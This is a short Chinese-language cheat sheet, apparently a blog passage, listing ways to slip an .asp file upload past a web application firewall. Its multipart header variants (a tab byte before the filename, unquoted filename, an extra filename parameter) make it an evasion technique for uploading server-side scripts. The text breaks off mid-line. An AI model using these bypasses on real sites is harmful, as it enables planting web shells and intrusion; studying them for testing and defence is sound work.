文件上传绕过WAF的技巧大全

原始默认状态：

1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
2. Content­Disposition: form­data; name=”filepath”; filename="backlion.asp”
3. Content­Type: text/html

突破0，文件名前缀加[0x09]绕过：

1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
2. Content­Disposition: form­data; name=”filepath”; filename=”[0x09]backlion.asp”
3. Content­Type: text/html

突破1，文件名去掉双引号绕过：

1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
2. Content­Disposition: form­data; name=”filepath”; filename=backlion.asp
3. Content­Type: text/html

突破2，添加一个filename1的文件名参数，并赋值绕过：

1. ——WebKit